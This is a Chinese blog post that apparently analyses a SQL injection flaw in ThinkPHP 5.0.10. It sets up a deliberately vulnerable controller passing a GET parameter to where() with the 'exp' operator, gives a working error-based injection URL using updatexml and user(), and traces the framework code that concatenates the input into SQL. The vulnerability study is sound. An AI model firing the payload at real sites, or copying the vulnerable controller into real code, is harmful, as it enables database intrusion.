配置数据库:

image-20220325164136397

/application/database.php

image-20220325164245536

在index模块下添加一个控制器:

/application/index/controller/Hello.php

<?phpnamespace app\index\controller;class Hello{    public function test()    {        $username = request()->get('username');        $result = db('user')->where('username','exp',$username)->select();        return 'select success';    }}

/application/config.php开启app_debug (没开启 app_debug 是无法看到 SQL 报错信息的)、app_trace(显示SQL语句执行信息,便于调试)

image-20220325165732782

漏洞分析

POC:

http://127.0.0.1/thinkphp_5.0.10_full/public/index.php/index/hello/test?username=)%20union%20select%20updatexml(1,concat(0x7,user(),0x7e),1)%23

image-20220325170028158

下面跟一下流程:

打断点,发POC

image-20220325174243881

程序默认调用 Request 类的 get 方法中会调用该类的 input 方法,但是该方法默认情况下并没有对数据进行很好的过滤,所以用户输入的数据会原样进入框架的 SQL 查询方法中

image-20220325174442806

image-20220325174734265

在 SQL 查询方法中,首先程序先调用 Query 类的 where 方法,通过其 parseWhereExp 方法分析查询表达式,然后再返回

image-20220325174953804

然后继续调用 select 方法准备开始构建 select 语句。

image-20220325175513615

image-20220325175920429

接着会调用 Builder 类的 select 方法,跟进

select 方法中,程序会对 SQL 语句模板用变量填充,其中用来填充 %WHERE% 的变量中存在用户输入的数据。

image-20220325180307976

我们跟进这个 parseWhere 分析函数,会发现其会调用生成查询条件 SQL 语句的 buildWhere 函数。

image-20220325180409024

继续跟进 buildWhere 函数,发现用户可控数据又被传入了 parseWhereItem where子单元分析函数。

image-20220325180552526

image-20220325180920401

跟进parseWhereItem

我们发现当操作符等于 EXP 时,将来自用户的数据直接拼接进了 SQL 语句,最终导致了 SQL注入漏洞

image-20220325181154235

image-20220325181228009

image-20220325181339159

小节

最后,再通过一张攻击流程图来回顾整个攻击过程。

(网图)

5

(⭐)ThinkPHP5.0.24反序列化利用链

由于篇幅问题,下一篇文章展开。。。

posted @ 2022-04-05 15:55  yokan  阅读(1370)  评论(1编辑  收藏  举报